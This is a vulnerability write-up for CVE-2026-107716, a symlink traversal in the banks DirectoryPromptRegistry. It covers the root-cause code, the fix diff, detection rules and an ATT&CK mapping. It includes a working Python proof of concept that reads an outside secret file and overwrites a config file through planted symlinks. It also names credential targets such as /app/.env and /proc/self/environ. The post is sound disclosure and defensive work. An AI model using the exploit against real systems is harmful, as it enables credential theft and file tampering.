---
title: "CVE-2026-107716: Symlink Traversal in banks Prompt Registry"
description: "Root-cause analysis of CVE-2026-107716: DirectoryPromptRegistry in banks followed symbolic links out of its prompt directory, so a link could make it read an arbitrary file through _scan() and get(), or overwrite one through set() and index.json."
date: 2026-10-07
analysisType: "Patch Analysis"
cves: ["CVE-2026-107716"]
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/research/cve-2026-107716-banks-symlink-traversal/
---

> **Disclosure:** CVE-2026-107716 (CWE-59, CWE-22) affects `banks` up to 2.5.0. I reported it to the maintainer, `masci`, as `jankesec`. It is fixed in 2.5.1 by [PR #79](https://github.com/masci/banks/pull/79) and published as [GHSA-556j-vv39-8rqv](https://github.com/masci/banks/security/advisories/GHSA-556j-vv39-8rqv). GitHub, as CNA, scored it CVSS 4.0 7.3 (High): `CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N`.

`DirectoryPromptRegistry` in `banks` keeps prompts as files in a directory. Up to version 2.5.0 it read and wrote those files, and the `index.json` that lists them, without checking whether they were symbolic links. A symlink placed in the prompt directory therefore lets the registry read or overwrite a file anywhere the process can reach.

The attacker has to get a symlink into the prompt directory. That is possible when the directory is filled from untrusted input: an unpacked archive, a cloned repository, or a folder shared between tenants. The application then has to load or save prompts from that directory, which `DirectoryPromptRegistry` does when it is created and on every `set()`.

## How the registry stores prompts

- Each prompt is a file named `<name>.<version>.jinja` in the registry directory. `index.json` lists them.
- Creating a `DirectoryPromptRegistry` runs `_scan()` when there is no `index.json` (or with `force_reindex=True`), and `_load()` otherwise.
- `_scan()` opens every `*.jinja*` file, stores its text in the index and writes `index.json`.
- `get(name=..., version=...)` returns a prompt from the index.
- `set(prompt=...)` writes the prompt file and then calls `_save()` to rewrite `index.json`.

## Root cause: no link check on any read or write

Version 2.5.0 already rejected prompt names that escape the directory (the advisory points to PR #77), but it never asked whether a file is a symlink. The writes and reads below follow links, as `open()` does on POSIX:

```python
        version = prompt.version or DEFAULT_VERSION
        prompt_file = _resolve_prompt_file(path, prompt.name, version)
        prompt_file.write_text(prompt.raw)
```

```python
    def _save(self):
        """Save the prompt index to disk."""
        self._index_path.write_text(self._index.model_dump_json())

    def _scan(self):
        """Scan directory for prompt files and build the index."""
        self._index: PromptFileIndex = PromptFileIndex()
        for path in self._path.glob("*.jinja*"):
            name, version = path.stem.rsplit(".", 1) if "." in path.stem else (path.stem, DEFAULT_VERSION)
            with path.open("r") as f:
                pf = PromptFile(text=f.read(), name=name, version=version, path=path, metadata={})
                self._index.files.append(pf)
        self._index_path.write_text(self._index.model_dump_json())
```

The advisory lists three places:

1. `index.json` is never checked. `_save()` overwrites the target of a link, and `_load()` reads it.
2. `_scan()` opens `.jinja` files without checking `is_symlink()` or whether the resolved path leaves the registry root.
3. `set()` writes a prompt file without checking whether it is already a symlink.

A link named `leak.0.jinja` that points at a secret file is read into the index. A link named `index.json` is written through by `_save()`.

<figure class="diagram">
<svg viewBox="0 0 760 270" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="CVE-2026-107716. A prompt directory contains a regular prompt file, a symlink leak.0.jinja that points at a secret file, and a symlink index.json that points at a config file. _scan() reads the first link into the index and get() returns it. _save() writes the index JSON through the second link and overwrites the config file.">
<defs><marker id="sym-arrow" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="14" class="dg-muted">CVE-2026-107716 · SYMLINKS IN A PROMPT DIRECTORY</text>
<rect x="0" y="32" width="340" height="226" rx="8" class="dg-box" />
<text x="16" y="54" class="dg-label">PROMPT DIRECTORY</text>
<text x="16" y="72" class="dg-mono dg-compact">/var/app/prompts/</text>
<rect x="16" y="86" width="308" height="34" rx="6" class="dg-box" />
<text x="28" y="108" class="dg-mono">system.0.jinja (regular file)</text>
<rect x="16" y="130" width="308" height="44" rx="6" class="dg-box-danger" />
<text x="28" y="150" class="dg-label">leak.0.jinja (symlink)</text>
<text x="28" y="166" class="dg-danger dg-compact">→ /etc/app/secret.env</text>
<rect x="16" y="184" width="308" height="44" rx="6" class="dg-box-danger" />
<text x="28" y="204" class="dg-label">index.json (symlink)</text>
<text x="28" y="220" class="dg-danger dg-compact">→ /etc/app/config.conf</text>
<text x="16" y="248" class="dg-muted dg-compact">The links arrive with an archive, a clone or a shared folder</text>
<line x1="324" y1="152" x2="430" y2="120" class="dg-line-crit" marker-end="url(#sym-arrow)" />
<line x1="324" y1="206" x2="430" y2="206" class="dg-line-crit" marker-end="url(#sym-arrow)" />
<rect x="436" y="32" width="324" height="226" rx="8" class="dg-box" />
<text x="452" y="54" class="dg-label">OUTSIDE THE REGISTRY ROOT</text>
<text x="452" y="72" class="dg-mono dg-compact">The registry root was meant to be the boundary</text>
<rect x="452" y="90" width="292" height="66" rx="6" class="dg-box-danger" />
<text x="464" y="112" class="dg-label">READ: secret.env</text>
<text x="464" y="130" class="dg-danger">_scan() stores its text in the index</text>
<text x="464" y="146" class="dg-mono dg-compact">get() returns it to the caller</text>
<rect x="452" y="170" width="292" height="66" rx="6" class="dg-box-danger" />
<text x="464" y="192" class="dg-label">OVERWRITE: config.conf</text>
<text x="464" y="210" class="dg-danger">set() → _save() writes index.json</text>
<text x="464" y="226" class="dg-mono dg-compact">write_text() follows the link</text>
</svg>
<figcaption><code>DirectoryPromptRegistry</code> opens and writes every file in its directory without checking where a link points.</figcaption>
</figure>

## Proof of concept

The PoC is the one from the advisory. The first half plants a symlink in a registry directory and reads through it. The second half points `index.json` at another file and lets the registry overwrite it:

```python
import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt

# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")

os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)

# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())
```

With `force_reindex=True` the constructor runs `_scan()`, which reads `leak.0.jinja` through the link, and `get()` returns that text. In the second half, `set()` writes `test.1.jinja` and then `_save()` rewrites `index.json`. Because `index.json` is a link to `/tmp/target.conf`, that file ends up holding the registry's index JSON instead of `ORIGINAL`.

On 2.5.1 the constructor already raises `InvalidPromptError`, because `_scan()` rejects the symlinked prompt file.

## Evidence matrix

| Evidence | What it shows | Result |
| :--- | :--- | :--- |
| [GHSA-556j-vv39-8rqv](https://github.com/masci/banks/security/advisories/GHSA-556j-vv39-8rqv) | Advisory published by GitHub as CNA | Published 2026-10-08. CWE-22 and CWE-59. `<= 2.5.0` affected, 2.5.1 patched. |
| CVE record | Severity assigned by the CNA | CVSS 4.0 7.3 (High) |
| Fix PR #79 (`23ed13e`) | Symlink checks, containment checks and `O_NOFOLLOW` writes | Merged 2026-09-10, with regression tests |
| `banks` 2.5.1 on PyPI | Release that contains the fix | Uploaded 2026-09-10 |
| PoC from the advisory, first half | `get()` on a symlinked `leak.0.jinja` | Returns the text of the link target on 2.5.0 |
| PoC from the advisory, second half | `set()` with `index.json` linked to another file | Overwrites the link target on 2.5.0 |
| Negative control (2.5.1) | Code review of `_scan()` and `_validate_index_path()` in the fix | Symlinked prompt files and a symlinked `index.json` raise `InvalidPromptError` |

## The fix (PR #79)

[PR #79](https://github.com/masci/banks/pull/79) (commit `23ed13e`) was merged on 2026-09-10 and shipped as 2.5.1 the same day. It adds a symlink check and a containment check to every path the registry reads or writes, and it writes with `O_NOFOLLOW` where the platform supports it. Every failure raises `InvalidPromptError`. The excerpts below are from the PR diff.

Writes go through a helper that refuses to follow links. Without `O_NOFOLLOW` (Windows), it falls back to `write_text()` and relies on the earlier checks:

```diff
--- a/src/banks/registries/directory.py
+++ b/src/banks/registries/directory.py
@@ -24,6 +25,23 @@
 DEFAULT_INDEX_NAME = "index.json"
 
 
+def _write_file_no_follow(path: Path, content: str) -> None:
+    """Write content to a file, strictly refusing to follow symbolic links."""
+    no_follow = getattr(os, "O_NOFOLLOW", None)
+    if no_follow is not None:
+        try:
+            fd = os.open(str(path), os.O_WRONLY | os.O_CREAT | os.O_TRUNC | no_follow)
+        except OSError as exc:
+            msg = f"Path is a symbolic link or cannot be opened: {path}"
+            raise InvalidPromptError(msg) from exc
+        with os.fdopen(fd, "w", encoding="utf-8") as f:
+            f.write(content)
+    else:
+        # Platform does not support O_NOFOLLOW (e.g. Windows);
+        # rely on earlier symlink checks in _resolve_prompt_file and _validate_index_path.
+        path.write_text(content, encoding="utf-8")
+
+
 def _resolve_prompt_file(registry_root: Path, name: str, version: str) -> Path:
     """Resolve the on-disk path for a prompt file, ensuring it stays within ``registry_root``."""
     if Path(name).is_absolute():
```

`index.json` gets its own check:

```diff
@@ -105,6 +136,14 @@ def __init__(self, directory_path: str, *, force_reindex: bool = False):
         else:
             self._load()
 
+    def _validate_index_path(self):
+        if self._index_path.is_symlink():
+            msg = f"Index file cannot be a symbolic link: {self._index_path}"
+            raise InvalidPromptError(msg)
+        if self._index_path.exists() and not self._index_path.resolve().is_relative_to(self._path.resolve()):
+            msg = f"Index file escapes registry root: {self._index_path}"
+            raise InvalidPromptError(msg)
+
     @property
     def path(self) -> Path:
         """Get the directory path where prompts are stored."""
```

`_load()` and `_save()` call that check. `_scan()` rejects symlinks and paths that leave the root, and ends with `_save()`:

```diff
@@ -167,17 +207,34 @@ def _load(self):
 
     def _save(self):
         """Save the prompt index to disk."""
-        self._index_path.write_text(self._index.model_dump_json())
+        self._validate_index_path()
+        _write_file_no_follow(self._index_path, self._index.model_dump_json())
 
     def _scan(self):
         """Scan directory for prompt files and build the index."""
-        self._index: PromptFileIndex = PromptFileIndex()
-        for path in self._path.glob("*.jinja*"):
-            name, version = path.stem.rsplit(".", 1) if "." in path.stem else (path.stem, DEFAULT_VERSION)
-            with path.open("r") as f:
-                pf = PromptFile(text=f.read(), name=name, version=version, path=path, metadata={})
+        self._validate_index_path()
+        self._index = PromptFileIndex()
+        root = self._path.resolve()
+        for path in sorted(self._path.rglob("*.jinja")):
+            if not path.is_file():
+                continue
+            if path.is_symlink():
+                msg = f"Symbolic links are not allowed in prompt registry: {path}"
+                raise InvalidPromptError(msg)
+            resolved = path.resolve()
+            if not resolved.is_relative_to(root):
+                msg = f"Prompt path escapes registry root: {path}"
+                raise InvalidPromptError(msg)
+
+            rel = path.relative_to(self._path)
+            stem = rel.stem
+            name_part, version = stem.rsplit(".", 1) if "." in stem else (stem, DEFAULT_VERSION)
+            full_name = f"{rel.parent.as_posix()}/{name_part}" if str(rel.parent) != "." else name_part
+
+            with path.open("r", encoding="utf-8") as f:
+                pf = PromptFile(text=f.read(), name=full_name, version=version, path=path, metadata={})
                 self._index.files.append(pf)
-        self._index_path.write_text(self._index.model_dump_json())
+        self._save()
```

`_resolve_prompt_file()` also rejects a prompt path that is a symlink before it resolves it.

## AI asset pipeline threat model

Prompt registries and template loaders represent an often overlooked trust boundary in LLM architectures. In multi-tenant platforms, prompt engineers or external contributors upload prompt bundles (via ZIP, tarball, or Git repository import) that are consumed by the central AI inference worker:

- **The Read vector:** If the prompt registry does not reject symbolic links, an imported prompt file pointing to `/app/.env` or `/proc/self/environ` leaks runtime API keys, database credentials, and LLM provider tokens back into the prompt rendering engine.
- **The Write vector:** Because `DirectoryPromptRegistry.set()` overwrites files and rewrites `index.json`, a symlink pointing to application code or configuration files allows an attacker with prompt-saving rights to achieve arbitrary file overwrite and potential code execution.

## Detection engineering and telemetry

Organizations operating LLM infrastructure can detect and prevent prompt directory symlink abuse at the host, pipeline, and container level.

### 1. Linux Auditd file monitoring

Deploy an `auditd` rule to monitor symlink creation inside directories allocated to LLM templates and registries:

```bash
# /etc/audit/rules.d/99-ai-prompts-symlink.rules
# Track symlink syscalls in the application prompt store
-a always,exit -F arch=b64 -S symlink -S symlinkat -F dir=/var/app/prompts -k prompt_symlink_created
```

When an untrusted archive unpacks a symbolic link into the prompt directory, `auditd` records the event:

```text
type=SYSCALL msg=audit(1728345600.781:1094): arch=c000003e syscall=88 success=yes exit=0
  a0=7ffd54321000 a1=7ffd54321200 items=2 ppid=8412 pid=8420
  auid=1000 uid=1000 gid=1000 euid=1000 comm="tar" exe="/usr/bin/tar" key="prompt_symlink_created"
type=PATH msg=audit(1728345600.781:1094): item=0 name="/var/app/prompts/leak.0.jinja"
```

### 2. CI/CD Git pipeline pre-flight check

Block commits containing symbolic links before prompt bundles enter production pipelines:

```bash
#!/usr/bin/env bash
# Git pre-receive / CI validation hook
# Reject any symbolic link committed to prompt paths
if git ls-files -s prompts/ | grep -q "^120000"; then
    echo "[-] REJECTED: Symbolic link detected in prompt repository." >&2
    exit 1
fi
```

### 3. Safe archive extraction

When unpacking user-supplied archive bundles containing prompts, enforce strict extraction filters (Python 3.12+ `tarfile.data_filter`):

```python
import tarfile

# Secure extraction blocking symlinks escaping destination
with tarfile.open("untrusted_prompts.tar.gz") as tar:
    tar.extractall(path="/var/app/prompts", filter="data")
```

## ATT&CK technique mapping

| Tactic | Technique ID | Technique Name | Exploitation Mechanism | Defensive Control |
| :--- | :--- | :--- | :--- | :--- |
| **Discovery** | `T1083` | File and Directory Discovery | Symlink `leak.0.jinja` pointing to sensitive local files is read into prompt index. | Disallow symlinks via `is_symlink()` and enforce containment. |
| **Credential Access** | `T1552.001` | Unsecured Credentials: Credentials in Files | Prompt reader leaks credentials or tokens stored in `.env` files outside root. | Isolate prompt processes; run worker with minimal DAC permissions. |
| **Impact** | `T1565.001` | Data Manipulation: Stored Data Manipulation | Writing through a symlinked `index.json` overwrites arbitrary host configuration files. | Open files with `O_NOFOLLOW`; verify canonical path containment. |
| **Initial Access** | `T1195.002` | Supply Chain Compromise: Vulnerable Component | Flawed prompt management library allows cross-tenant filesystem access. | Upgrade to `banks>=2.5.1`. |

## Takeaways

1. A directory that is filled from untrusted input is untrusted, including the target of every link inside it.
2. `open()`, `Path.read_text()` and `Path.write_text()` follow symlinks. Open with `os.O_NOFOLLOW` where it exists, as the fix does for writes. A check followed by an open can still race with a link swapped in between.
3. When you unpack zip or tar archives, skip or reject symlink entries before the files reach the application directory.

Upgrade to `banks` 2.5.1 or later.